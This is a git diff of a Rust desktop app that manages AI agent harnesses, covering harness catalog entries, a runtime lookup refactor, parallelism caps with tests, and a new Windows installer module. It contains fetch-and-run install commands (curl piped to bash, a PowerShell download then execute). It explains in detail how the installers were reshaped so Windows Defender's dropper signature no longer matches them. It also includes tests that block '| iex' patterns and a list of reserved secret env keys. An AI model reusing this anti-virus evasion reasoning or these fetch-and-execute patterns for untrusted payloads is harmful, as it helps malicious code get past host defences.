         max_tokens_env_var: Some("GOOSE_MAX_TOKENS"),
         context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"),
+        max_rounds_env_var: None,
         required_normalized_fields: &["model", "provider"],
         login_hint: None,
         auth_probe_args: None,
@@ -117,7 +121,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         mcp_hooks: false,
         underlying_cli: Some("claude"),
         cli_install_commands: &["curl -fsSL https://claude.ai/install.sh | bash"],
-        cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"irm https://claude.ai/install.ps1 | iex\""],
+        cli_install_commands_windows: &[windows_install_command!("claude", "https://claude.ai/install.ps1")],
         adapter_install_commands: &["npm install -g @agentclientprotocol/claude-agent-acp"],
         cli_install_instructions_url: "https://code.claude.com/docs/en/getting-started",
         adapter_install_instructions_url: "https://github.com/agentclientprotocol/claude-agent-acp",
@@ -135,6 +139,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         thinking_env_var: None,
         max_tokens_env_var: None,
         context_limit_env_var: None,
+        max_rounds_env_var: None,
         required_normalized_fields: &[],
         login_hint: Some("Run the Claude CLI to complete authentication."),
         auth_probe_args: Some(&["claude", "auth", "status"]),
@@ -149,7 +154,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         mcp_hooks: false,
         underlying_cli: Some("codex"),
         cli_install_commands: &["curl -fsSL https://chatgpt.com/codex/install.sh | sh"],
-        cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"irm https://chatgpt.com/codex/install.ps1 | iex\""],
+        cli_install_commands_windows: &[windows_install_command!("codex", "https://chatgpt.com/codex/install.ps1")],
         adapter_install_commands: &["npm install -g @agentclientprotocol/codex-acp"],
         cli_install_instructions_url: "https://developers.openai.com/codex/cli/",
         adapter_install_instructions_url: "https://github.com/agentclientprotocol/codex-acp",
@@ -167,6 +172,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         thinking_env_var: None,
         max_tokens_env_var: None,
         context_limit_env_var: None,
+        max_rounds_env_var: None,
         required_normalized_fields: &[],
         login_hint: Some("Run `codex login` to authenticate."),
         // Verified: `codex login status` exits 0 when logged in, non-zero otherwise.
@@ -200,6 +206,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         thinking_env_var: Some("BUZZ_AGENT_THINKING_EFFORT"),
         max_tokens_env_var: Some("BUZZ_AGENT_MAX_OUTPUT_TOKENS"),
         context_limit_env_var: Some("BUZZ_AGENT_MAX_CONTEXT_TOKENS"),
+        max_rounds_env_var: Some("BUZZ_AGENT_MAX_ROUNDS"),
         required_normalized_fields: &["model", "provider"],
         login_hint: None,
         auth_probe_args: None,
@@ -229,7 +236,7 @@ fn executable_basename(command: &str) -> String {
     }
 }
 
-fn normalize_command_identity(command: &str) -> String {
+pub(crate) fn normalize_command_identity(command: &str) -> String {
     let normalized = command.trim().replace('\\', "/");
     let basename = normalized.rsplit('/').next().unwrap_or(normalized.as_str());
     let lower = basename
@@ -278,11 +285,8 @@ pub(crate) fn known_acp_runtime_exact(id: &str) -> Option<&'static KnownAcpRunti
 /// The agent command a freshly-created agent defaults to when the create
 /// request supplies none. Resolves the bundled `buzz-agent` from the catalog so
 /// the default cannot drift from the provider definition. Falls back to the id
-/// if the catalog entry is missing.
-///
-/// The previous default was the bare global `goose`, which is not on PATH on a
-/// stock Windows install: every worker failed with `program not found`. The
-/// bundled `buzz-agent` ships with the app and resolves on every platform.
+/// if the catalog entry is missing. (Previous default was bare `goose`, which
+/// is not on PATH on a stock Windows install; buzz-agent ships with the app.)
 pub fn default_agent_command() -> String {
     known_acp_runtime_exact("buzz-agent")
         .and_then(|p| p.commands.first().copied())
@@ -294,9 +298,10 @@ pub fn default_agent_command() -> String {
 ///
 /// Resolution order:
 ///   1. explicit override (non-empty) — a deliberate per-instance pin;
-///   2. the record's own `runtime` id mapped to its primary command —
-///      records materialize their runtime at create/migration time;
-///      checks both static builtins AND the loaded preset/custom registry;
+///   2. the record's own `runtime` id mapped to its primary command via the
+///      authoritative three-tier lookup (static builtins → static preset list
+///      → loaded registry) — preset harnesses (e.g. openclaw) resolve
+///      correctly even with a cold registry;
 ///   3. legacy fallback: the linked persona's `runtime` (records created
 ///      before the unified model carry `persona_id` but no `runtime`);
 ///   4. `default_agent_command()`.
@@ -314,15 +319,11 @@ pub fn record_agent_command(
     }
 
     if let Some(id) = record.runtime.as_deref() {
-        // Check static builtins first.
-        if let Some(command) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied())
-        {
-            return command.to_string();
-        }
-        // Fall back to loaded registry for preset/custom harnesses.
-        if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id)
-        {
-            return def.command.clone();
+        // Three-tier lookup: static builtins → static presets → loaded registry.
+        // Using the shared resolver ensures preset harnesses (e.g. openclaw)
+        // resolve correctly even without a warm registry.
+        if let Some(cmd) = presets::command_for_runtime_id(id) {
+            return cmd;
         }
     }
 
@@ -335,8 +336,9 @@ pub fn record_agent_command(
 ///
 /// Resolution order:
 ///   1. explicit override (non-empty) — a deliberate per-instance pin;
-///   2. the linked persona's `runtime` id mapped to its primary command
-///      (checks builtins then loaded preset/custom registry);
+///   2. the linked persona's `runtime` id mapped to its primary command via
+///      the authoritative three-tier lookup (static builtins → static preset
+///      list → loaded registry);
 ///   3. `default_agent_command()` — no persona/runtime, or persona deleted.
 pub fn effective_agent_command(
     persona_id: Option<&str>,
@@ -355,15 +357,9 @@ pub fn effective_agent_command(
         .and_then(|persona| persona.runtime.as_deref());
 
     if let Some(id) = runtime_id {
-        // Check static builtins first.
-        if let Some(command) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied())
-        {
-            return command.to_string();
-        }
-        // Check loaded preset/custom registry.
-        if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id)
-        {
-            return def.command.clone();
+        // Three-tier lookup: static builtins → static presets → loaded registry.
+        if let Some(cmd) = presets::command_for_runtime_id(id) {
+            return cmd;
         }
     }
 
@@ -375,10 +371,8 @@ pub use overrides::{apply_agent_command_update, create_time_agent_command_overri
 
 /// Prefix of the typed dangling-harness error produced by
 /// `try_record_agent_command` / `resolve_effective_harness_descriptor`.
-///
-/// This sentinel is an internal Rust contract: user-facing surfaces must
-/// convert it to a sentence via [`user_facing_harness_error`] (spawn) or to
-/// the missing id via [`dangling_harness_id`] (summary) — never show it raw.
+/// Internal Rust contract: surfaces must convert it via [`user_facing_harness_error`] or
+/// [`dangling_harness_id`] — never show it raw.
 pub(crate) const DANGLING_HARNESS_PREFIX: &str = "DANGLING_HARNESS_ID:";
 
 /// Extract the missing harness id from a `DANGLING_HARNESS_ID:<id>` error.
@@ -398,22 +392,16 @@ pub(crate) fn user_facing_harness_error(error: &str) -> String {
     }
 }
 
-/// Summary-row display for a dangling harness id: shows the *missing* id so
-/// the agent list tells the same story as spawn (which refuses with the
-/// sentence above), rather than silently falling back to the default command
-/// as if the agent were healthy.
+/// Summary-row display for a dangling harness id: shows the *missing* id so the agent list
+/// tells the same story as spawn rather than silently falling back to the default command.
 pub(crate) fn dangling_harness_display(id: &str) -> String {
     format!("harness (deleted): {id}")
 }
 
 /// Spawn-time variant of `record_agent_command` that returns a typed error when
-/// a record's `runtime` id or its persona's `runtime` id is set but cannot be
-/// resolved (i.e. the definition was deleted after the agent was created).
-///
-/// Returns `Err("DANGLING_HARNESS_ID:<id>")` so callers can surface the error
-/// without falling through to `buzz-agent`.  When there is no runtime id at all
-/// the fallback to `default_agent_command()` is intentional (legacy agents
-/// pre-date the unified harness model).
+/// a record's `runtime` id or persona's `runtime` id is set but unresolvable
+/// (definition deleted after agent was created). Returns `Err("DANGLING_HARNESS_ID:<id>")`.
+/// When there is no runtime id at all, falls through to `default_agent_command()` intentionally.
 pub fn try_record_agent_command(
     record: &crate::managed_agents::types::ManagedAgentRecord,
     personas: &[crate::managed_agents::types::AgentDefinition],
@@ -430,12 +418,8 @@ pub fn try_record_agent_command(
 
     // Record-level runtime id: if set but unresolvable → typed error.
     if let Some(id) = record.runtime.as_deref() {
-        if let Some(cmd) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) {
-            return Ok(cmd.to_string());
-        }
-        if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id)
-        {
-            return Ok(def.command.clone());
+        if let Some(cmd) = presets::command_for_runtime_id(id) {
+            return Ok(cmd);
         }
         return Err(format!("DANGLING_HARNESS_ID:{id}"));
     }
@@ -444,15 +428,8 @@ pub fn try_record_agent_command(
     if let Some(persona_id) = record.persona_id.as_deref() {
         if let Some(persona) = personas.iter().find(|p| p.id == persona_id) {
             if let Some(id) = persona.runtime.as_deref() {
-                if let Some(cmd) =
-                    known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied())
-                {
-                    return Ok(cmd.to_string());
-                }
-                if let Some(def) =
-                    crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id)
-                {
-                    return Ok(def.command.clone());
+                if let Some(cmd) = presets::command_for_runtime_id(id) {
+                    return Ok(cmd);
                 }
                 return Err(format!("DANGLING_HARNESS_ID:{id}"));
             }
@@ -1136,7 +1113,7 @@ pub fn missing_command_message(command: &str, role: &str) -> String {
     }
 
     format!(
-        "{role} `{command}` was not found. Build the workspace binaries (`cargo build --release --workspace`) or add `target/release` to PATH as described in TESTING.md."
+        "{role} `{command}` was not found. Make sure it is installed and on your PATH. Antivirus software can quarantine bundled binaries — if that happened, restore the file or reinstall Buzz. (Source builds: see TESTING.md.)"
     )
 }
 
@@ -1413,6 +1390,9 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr
             model_env_var: runtime.model_env_var.map(str::to_string),
             provider_env_var: runtime.provider_env_var.map(str::to_string),
             thinking_env_var: runtime.thinking_env_var.map(str::to_string),
+            max_tokens_env_var: runtime.max_tokens_env_var.map(str::to_string),
+            context_limit_env_var: runtime.context_limit_env_var.map(str::to_string),
+            max_rounds_env_var: runtime.max_rounds_env_var.map(str::to_string),
             install_hint,
             install_instructions_url: install_instructions_url.to_string(),
             can_auto_install,
@@ -1423,8 +1403,8 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr
             auth_status: AuthStatus::Unknown,
             login_hint: None,
             source: HarnessSource::Builtin,
-            // Builtin entries have no user-editable env; definition_env is empty.
             definition_env: Default::default(),
+            max_parallelism: super::parallelism::harness_max_parallelism(runtime.id),
         },
     }
 }
@@ -1571,6 +1551,9 @@ pub fn discover_acp_runtimes_from(
                 model_env_var: None,
                 provider_env_var: None,
                 thinking_env_var: None,
+                max_tokens_env_var: None,
+                context_limit_env_var: None,
+                max_rounds_env_var: None,
                 install_hint: def.install_hint.clone(),
                 install_instructions_url: def.install_instructions_url.clone(),
                 // Security line: custom definitions carry no install scripts.
@@ -1582,9 +1565,8 @@ pub fn discover_acp_runtimes_from(
                 auth_status: AuthStatus::NotApplicable,
                 login_hint: None,
                 source: HarnessSource::Custom,
-                // Carry definition env into the catalog so the edit form can
-                // read it back — prevents silently erasing env on save.
-                definition_env: def.env.clone(),
+                definition_env: def.env.clone(), // preserve for edit round-trip
+                max_parallelism: super::parallelism::harness_max_parallelism(&def.command),
             });
         }
     }
diff --git a/desktop/src-tauri/src/managed_agents/discovery/presets.rs b/desktop/src-tauri/src/managed_agents/discovery/presets.rs
index 72c4657dc7..d86e5f33f0 100644
--- a/desktop/src-tauri/src/managed_agents/discovery/presets.rs
+++ b/desktop/src-tauri/src/managed_agents/discovery/presets.rs
@@ -67,6 +67,9 @@ pub(super) fn preset_catalog_entry(
         model_env_var: None,
         provider_env_var: None,
         thinking_env_var: None,
+        max_tokens_env_var: None,
+        context_limit_env_var: None,
+        max_rounds_env_var: None,
         install_hint: def.install_hint.to_string(),
         install_instructions_url: def.install_instructions_url.to_string(),
         can_auto_install: false,
@@ -79,6 +82,10 @@ pub(super) fn preset_catalog_entry(
         login_hint: None,
         source: HarnessSource::Preset,
         definition_env: Default::default(),
+        // Derived from the static preset command (`def.command`). This ensures
+        // unavailable entries (command: null in JSON, None here) still carry
+        // the cap — the harness cap is command-keyed, not availability-gated.
+        max_parallelism: crate::managed_agents::harness_max_parallelism(def.command),
     }
 }
 
@@ -106,7 +113,7 @@ pub(super) const PRESET_HARNESSES: &[PresetHarness] = &[
         label: "Oh My Pi",
         command: "omp",
         args: &["acp"],
-        install_instructions_url: "https://github.com/can1357/oh-my-pi",
+        install_instructions_url: "https://omp.sh/",
         install_hint: "Buzz talks to Oh My Pi through its CLI's ACP mode (omp acp).",
         underlying_cli: None,
     },
@@ -199,6 +206,76 @@ pub(crate) fn preset_harness_ids() -> &'static [&'static str] {
         .as_slice()
 }
 
+/// Return the primary command for a preset harness by id, or `None` if the id
+/// is not a known preset.
+///
+/// Returns a `&'static str` so callers can use it without allocation.
+pub(super) fn preset_command_for_id(id: &str) -> Option<&'static str> {
+    PRESET_HARNESSES
+        .iter()
+        .find(|p| p.id == id)
+        .map(|p| p.command)
+}
+
+/// Return the primary harness command for a given runtime id, or `None`.
+///
+/// Checks static builtins, then the static preset list (always available,
+/// no registry warm-up required — covers openclaw, devin, cursor, etc.),
+/// then the loaded preset/custom registry.
+pub(crate) fn command_for_runtime_id(id: &str) -> Option<String> {
+    super::known_acp_runtime_exact(id)
+        .and_then(|r| r.commands.first().copied())
+        .map(str::to_string)
+        .or_else(|| preset_command_for_id(id).map(str::to_string))
+        .or_else(|| {
+            crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id)
+                .map(|d| d.command.clone())
+        })
+}
+
+/// Resolve a harness to its canonical command accepting either a runtime id or
+/// a command string (including path prefixes and aliases).
+///
+/// This is the pin-classification resolver for `apply_persona_snapshot`: the
+/// create-time override in `record.agent_command_override` can hold any of the
+/// forms a user or the harness selector might have stored — bare command
+/// ("goose"), alias ("claude-code-acp"), path ("/usr/local/bin/goose"), or the
+/// runtime id directly ("claude"). All three tiers are searched:
+///
+/// 1. **Builtins** — `known_acp_runtime(input)` matches by id, command, or
+///    alias in `KNOWN_ACP_RUNTIMES`; returns its first primary command.
+/// 2. **Static presets** — searched by id or by normalised command.
+/// 3. **Loaded registry** — searched by id or by normalised command.
+///
+/// Returns `None` for inputs that do not resolve to any known harness; those
+/// pins are treated as custom/unknown and always kept.
+pub(crate) fn canonical_harness_command(input: &str) -> Option<String> {
+    let normalized = super::normalize_command_identity(input);
+
+    // Tier 1: builtins — matched by id, command, or alias.
+    if let Some(rt) = super::known_acp_runtime(&normalized) {
+        if let Some(cmd) = rt.commands.first() {
+            return Some(cmd.to_string());
+        }
+    }
+
+    // Tier 2: static presets — matched by id or by normalized command.
+    if let Some(p) = PRESET_HARNESSES
+        .iter()
+        .find(|p| p.id == normalized || super::normalize_command_identity(p.command) == normalized)
+    {
+        return Some(p.command.to_string());
+    }
+
+    // Tier 3: loaded registry — matched by id or by normalized command.
+    let reg = crate::managed_agents::custom_harnesses::loaded_harness_registry()
+        .read()
+        .unwrap_or_else(|e| e.into_inner());
+    reg.iter()
+        .find(|d| d.id == normalized || super::normalize_command_identity(&d.command) == normalized)
+        .map(|d| d.command.clone())
+}
+
 #[cfg(test)]
 mod tests {
     use std::path::PathBuf;
@@ -332,4 +409,65 @@ mod tests {
         assert!(!entry.requires_external_cli);
         assert!(entry.underlying_cli_path.is_none());
     }
+
+    // ── Catalog max_parallelism: command-keyed execution policy ──────────────
+
+    /// Unavailable OpenClaw (command not on PATH → command: null in JSON):
+    /// max_parallelism must still be Some(5) — derived from the static `def.command`,
+    /// not the probed `entry.command`.
+    #[test]
+    fn openclaw_preset_unavailable_carries_max_parallelism() {
+        let openclaw = PRESET_HARNESSES
+            .iter()
+            .find(|p| p.id == "openclaw")
+            .expect("openclaw preset must be present");
+
+        // Simulate "not installed" — resolver always returns None.
+        let entry = preset_catalog_entry(openclaw, |_| None);
+        assert_eq!(entry.availability, AcpAvailabilityStatus::NotInstalled);
+        assert!(
+            entry.command.is_none(),
+            "unavailable entry must have command: null"
+        );
+        assert_eq!(
+            entry.max_parallelism,
+            Some(crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM),
+            "unavailable OpenClaw must still carry max_parallelism {}",
+            crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM
+        );
+    }
+
+    /// Available OpenClaw: max_parallelism present regardless of install status.
+    #[test]
+    fn openclaw_preset_available_carries_max_parallelism() {
+        let openclaw = PRESET_HARNESSES
+            .iter()
+            .find(|p| p.id == "openclaw")
+            .expect("openclaw preset must be present");
+
+        let entry = preset_catalog_entry(openclaw, |cmd| {
+            (cmd == openclaw.id || cmd == "openclaw")
+                .then(|| std::path::PathBuf::from("/usr/local/bin/openclaw"))
+        });
+        assert_eq!(
+            entry.max_parallelism,
+            Some(crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM),
+            "available OpenClaw must carry max_parallelism {}",
+            crate::managed_agents::parallelism::OPENCLAW_MAX_PARALLELISM
+        );
+    }
+
+    /// Uncapped preset (devin): max_parallelism must be None.
+    #[test]
+    fn uncapped_preset_has_no_max_parallelism() {
+        let devin = PRESET_HARNESSES
+            .iter()
+            .find(|p| p.id == "devin")
+            .expect("devin preset must be present");
+        let entry = preset_catalog_entry(devin, |_| None);
+        assert_eq!(
+            entry.max_parallelism, None,
+            "uncapped preset (devin) must have max_parallelism: None"
+        );
+    }
 }
diff --git a/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs b/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs
index fdfe9b8be7..34edecdcd9 100644
--- a/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs
+++ b/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs
@@ -52,6 +52,8 @@ pub(crate) struct KnownAcpRuntime {
     pub max_tokens_env_var: Option<&'static str>,
     /// Env var for normalizing `context_limit`. `None` when not applicable.
     pub context_limit_env_var: Option<&'static str>,
+    /// Env var for normalizing `max_rounds`. `None` when not applicable.
+    pub max_rounds_env_var: Option<&'static str>,
     /// Normalized field keys that must be set for this harness to function.
     /// Used by the config bridge to mark fields as required in the UI.
     /// Keys match the camelCase names used in `NormalizedConfig` (e.g. "model", "provider").
diff --git a/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs b/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs
new file mode 100644
index 0000000000..09e27a62be
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs
@@ -0,0 +1,225 @@
+//! Defender-safe construction of the Windows PowerShell CLI install commands.
+//!
+//! # Why the shape matters
+//!
+//! Windows Defender's ML classifier flags the bare `irm <url> | iex` command
+//! line as `Trojan:Win32/Commando.A!ml` — piping a downloaded string straight
+//! into `Invoke-Expression` is a textbook dropper signature, so the *command
+//! line itself* is scored, independent of what the URL actually serves. The
+//! spawn is denied before PowerShell runs, surfacing as
+//! `failed to spawn shell: Access is denied. (os error 5)`, and the block is
+//! sticky: Defender's "Allow" button does not clear it.
+//!
+//! [`windows_install_command!`] emits the two-step form instead — download the
+//! vendor script to a file, then execute the file — which does not match that
+//! signature. All three runtimes use it, not only the one observed failing:
+//! Goose and Claude escaped by scoring under the classifier threshold, which is
+//! luck rather than design, and the threshold is not ours to depend on.
+//!
+//! # Why one macro instead of three literals
+//!
+//! The catalog needs `&'static str`, so the commands must be built at compile
+//! time from literals. Emitting them from a single macro means the security
+//! shape is defined once and cannot drift between runtimes as URLs change —
+//! a per-runtime literal would let one entry silently regress to `iex`.
+//!
+//! # Exit-code fidelity
+//!
+//! [#2892](https://github.com/block/buzz/pull/2892) established that an install
+//! step must not report success when the download failed. Two pieces preserve
+//! that here, and both are load-bearing:
+//!
+//! - `$ErrorActionPreference='Stop'` makes a failed `Invoke-RestMethod`
+//!   terminate the whole command. Without it a failed download falls through to
+//!   `& $installer` on a path that does not exist, and PowerShell exits **0** —
+//!   the exact masking #2892 removed, in a new dress. `Stop` also prevents
+//!   executing a *stale* installer left in `$env:TEMP` by an earlier run.
+//! - `exit $LASTEXITCODE` propagates the vendor script's own exit code. Without
+//!   it PowerShell reports its own status and a vendor failure of `3` flattens
+//!   to `1`, losing the distinction the retry logic reads.
+//!
+//! Verified against `pwsh` over a local HTTP server: vendor exit 3 surfaces as
+//! 3, vendor exit 0 as 0, a 404 and an unresolvable host as non-zero, and a
+//! planted stale installer is never executed. The old `irm | iex` shape
+//! produces identical codes for all four, so this is not a behavior change.
+//!
+//! # Quoting contract
+//!
+//! The emitted body is wrapped in one double-quote pair, which
+//! `install_powershell_command` strips before handing the body to PowerShell.
+//! The body therefore uses **only single quotes** internally; a double quote
+//! would terminate that pair early and truncate the command.
+
+/// Build the Windows CLI install command for one runtime.
+///
+/// `slug` names the downloaded script (`buzz-install-<slug>.ps1`) so concurrent
+/// installs of different runtimes cannot overwrite each other's file. The
+/// optional third argument carries a runtime's env prefix (Goose's
+/// `$env:CONFIGURE='false'; `) and must end with `; `.
+///
+/// See the module docs for why each fragment is present.
+macro_rules! windows_install_command {
+    ($slug:literal, $url:literal) => {
+        windows_install_command!($slug, $url, "")
+    };
+    ($slug:literal, $url:literal, $env_prefix:literal) => {
+        concat!(
+            "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"",
+            $env_prefix,
+            "$ErrorActionPreference='Stop'; ",
+            "$installer=Join-Path $env:TEMP 'buzz-install-",
+            $slug,
+            ".ps1'; ",
+            "Invoke-RestMethod ",
+            $url,
+            " -OutFile $installer; ",
+            "& $installer; ",
+            "exit $LASTEXITCODE\"",
+        )
+    };
+}
+
+#[cfg(test)]
+mod tests {
+    use crate::managed_agents::known_acp_runtime_exact;
+
+    /// Every runtime that ships a Windows install command. `cli_install_commands_windows`
+    /// is read directly rather than through `cli_install_commands_for_os()` so these
+    /// assertions cover the Windows strings while running on the Linux CI host.
+    fn windows_install_commands() -> Vec<(&'static str, &'static str)> {
+        ["goose", "claude", "codex"]
+            .into_iter()
+            .flat_map(|id| {
+                known_acp_runtime_exact(id)
+                    .expect("runtime must exist in the catalog")
+                    .cli_install_commands_windows
+                    .iter()
+                    .map(move |command| (id, *command))
+            })
+            .collect()
+    }
+
+    /// The whole point of the change: no runtime may carry the flagged
+    /// download-and-execute-in-one-line signature.
+    #[test]
+    fn test_no_windows_install_command_pipes_a_download_into_iex() {
+        for (id, command) in windows_install_commands() {
+            assert!(
+                !command.contains("| iex"),
+                "{id}: `irm | iex` is the shape Defender flags as Trojan:Win32/Commando.A!ml; \
+                 download to a file and execute the file instead. Got: {command}"
+            );
+            assert!(
+                !command.contains("Invoke-Expression"),
+                "{id}: Invoke-Expression on downloaded content carries the same signature. \
+                 Got: {command}"
+            );
+        }
+    }
+
+    /// All three runtimes must be hardened, not just the one observed failing.
+    /// Goose and Claude escaped only by scoring under the classifier threshold.
+    #[test]
+    fn test_every_windows_install_command_downloads_to_a_file_then_executes_it() {
+        let commands = windows_install_commands();
+        assert_eq!(
+            commands.len(),
+            3,
+            "expected exactly one Windows install command for each of goose, claude, codex"
+        );
+        for (id, command) in commands {
+            assert!(
+                command.contains("-OutFile $installer"),
+                "{id}: must download the vendor script to a file. Got: {command}"
+            );
+            assert!(
+                command.contains("& $installer"),
+                "{id}: must execute the downloaded file. Got: {command}"
+            );
+            assert!(
+                command.contains(&format!("buzz-install-{id}.ps1")),
+                "{id}: script name must be runtime-specific so concurrent installs of \
+                 different runtimes cannot overwrite each other. Got: {command}"
+            );
+        }
+    }
+
+    /// Guards the #2892 regression: without `Stop`, a failed download falls
+    /// through to a missing file and PowerShell exits 0, reporting a failed
+    /// install as a success. Without `exit $LASTEXITCODE`, the vendor's own
+    /// exit code is replaced by PowerShell's.
+    #[test]
+    fn test_every_windows_install_command_preserves_failure_exit_codes() {
+        for (id, command) in windows_install_commands() {
+            assert!(
+                command.contains("$ErrorActionPreference='Stop'"),
+                "{id}: a failed download must abort instead of running a missing or stale \
+                 installer and exiting 0 (see #2892). Got: {command}"
+            );
+            assert!(
+                command.contains("exit $LASTEXITCODE"),
+                "{id}: the vendor script's exit code must propagate. Got: {command}"
+            );
+        }
+    }
+
+    /// `install_powershell_command` strips exactly one outer double-quote pair.
+    /// An inner double quote would close that pair early and truncate the body.
+    #[test]
+    fn test_every_windows_install_command_quotes_the_body_exactly_once() {
+        for (id, command) in windows_install_commands() {
+            let body = command
+                .split_once(" -Command ")
+                .map(|(_, body)| body)
+                .unwrap_or_else(|| panic!("{id}: command must pass a -Command body: {command}"));
+            assert!(
+                body.starts_with('"') && body.ends_with('"'),
+                "{id}: body must be wrapped in one double-quote pair. Got: {body}"
+            );
+            assert_eq!(
+                body.matches('"').count(),
+                2,
+                "{id}: body must contain no inner double quotes — one would terminate the \
+                 outer pair early and truncate the command. Got: {body}"
+            );
+        }
+    }
+
+    /// Goose's installer reads `CONFIGURE` to stay non-interactive; losing the
+    /// prefix hangs the install waiting on input that never comes.
+    #[test]
+    fn test_goose_windows_install_command_keeps_its_env_prefix() {
+        let goose = known_acp_runtime_exact("goose").unwrap();
+        let command = goose.cli_install_commands_windows[0];
+        assert!(
+            command.contains("$env:CONFIGURE='false'"),
+            "goose must stay non-interactive. Got: {command}"
+        );
+        assert!(
+            command.find("$env:CONFIGURE='false'").unwrap()
+                < command.find("Invoke-RestMethod").unwrap(),
+            "the env prefix must be set before the installer runs. Got: {command}"
+        );
+    }
+
+    /// The vendor URLs are the payload; pin them so a refactor of the shared
+    /// shape cannot silently retarget a download.
+    #[test]
+    fn test_windows_install_commands_target_the_official_vendor_urls() {
+        for (id, expected) in [
+            (
+                "goose",
+                "https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1",
+            ),
+            ("claude", "https://claude.ai/install.ps1"),
+            ("codex", "https://chatgpt.com/codex/install.ps1"),
+        ] {
+            let runtime = known_acp_runtime_exact(id).unwrap();
+            let command = runtime.cli_install_commands_windows[0];
+            assert!(
+                command.contains(&format!("Invoke-RestMethod {expected} -OutFile")),
+                "{id}: must download from {expected}. Got: {command}"
+            );
+        }
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs
index 592a5cbbd9..9ca5fd080d 100644
--- a/desktop/src-tauri/src/managed_agents/env_vars.rs
+++ b/desktop/src-tauri/src/managed_agents/env_vars.rs
@@ -5,11 +5,13 @@
 //! Precedence: desktop parent env < persona env < agent env (last wins on
 //! key collision). See `runtime::spawn_agent_child`.
 //!
-//! A small set of *reserved* keys — Buzz's identity and secrets — are
-//! rejected at save time and stripped at runtime so a typo or malicious
-//! value can't swap the agent's nsec. Behavior knobs (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain
-//! freely overridable — those have dedicated UI fields, but power users
-//! may want to bypass them.
+//! A small set of *reserved* keys includes Buzz's identity, secrets, security
+//! gates, and control-plane values. Save-time validation rejects those keys.
+//! Runtime filtering strips old persisted overrides. Behavior knobs
+//! (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain freely
+//! overridable. Power users can still bypass their dedicated UI fields.
+//! `BUZZ_ACP_AGENTS` is reserved because Desktop applies harness-specific caps
+//! before it writes the provider launch policy.
 
 use std::collections::BTreeMap;
 
@@ -39,61 +41,9 @@ pub(crate) fn is_derived_provider_model_key(key: &str) -> bool {
         .any(|k| k.eq_ignore_ascii_case(key))
 }
 
-/// Env var keys that Buzz sets itself and users must not override from
-/// the persona/agent env_vars UI. Three categories:
-///
-/// 1. **Identity / secrets** — overriding would swap the agent's nsec or
-///    leak credentials.
-/// 2. **Code-execution surface** — overriding the binary/args lets the
-///    user run arbitrary code as the agent process.
-/// 3. **Security gates** — overriding the respond-to mode/allowlist or
-///    relay URL would silently break the saved security settings (the UI
-///    shows owner-only while the running agent answers anyone, for
-///    example), or redirect the agent to an attacker-controlled relay.
-///
-/// This list is deliberately narrow — it only covers keys with security
-/// implications. Behavior knobs (GOOSE_MODE, BUZZ_ACP_MODEL, BUZZ_ACP_SYSTEM_PROMPT, …) remain freely
-/// overridable; those have dedicated UI fields but power users may want
-/// to bypass them.
-pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[
-    // Identity / secrets.
-    "BUZZ_PRIVATE_KEY",
-    "NOSTR_PRIVATE_KEY",
-    "BUZZ_AUTH_TAG",
-    "BUZZ_API_TOKEN",
-    "BUZZ_ACP_PRIVATE_KEY",
-    "BUZZ_ACP_API_TOKEN",
-    // Relay URL: overriding would let a malicious config redirect the
-    // agent to an attacker-controlled relay.
-    "BUZZ_RELAY_URL",
-    // Code-execution surface: overriding would let the user run arbitrary
-    // binaries/args as the agent process.
-    "BUZZ_ACP_AGENT_COMMAND",
-    "BUZZ_ACP_AGENT_ARGS",
-    "BUZZ_ACP_MCP_COMMAND",
-    // Security gates: respond-to mode + allowlist + legacy owner-only
-    // fallback. Overriding would make the running agent's gate diverge
-    // from the saved/UI-visible settings.
-    "BUZZ_ACP_RESPOND_TO",
-    "BUZZ_ACP_RESPOND_TO_ALLOWLIST",
-    "BUZZ_ACP_AGENT_OWNER",
-    // Readiness handoff: desktop is the ONLY readiness source. A saved or
-    // ambient env var must not be able to forge setup mode (NotReady) on a
-    // Ready agent or suppress it (empty/stale payload) on a NotReady one.
-    "BUZZ_ACP_SETUP_PAYLOAD",
-    // Desktop ownership markers: these brand every spawned harness with the
-    // launching Desktop instance. A user-supplied override would let a
-    // definition masquerade as a different instance or fake the nonce used
-    // for same-session sweep decisions.
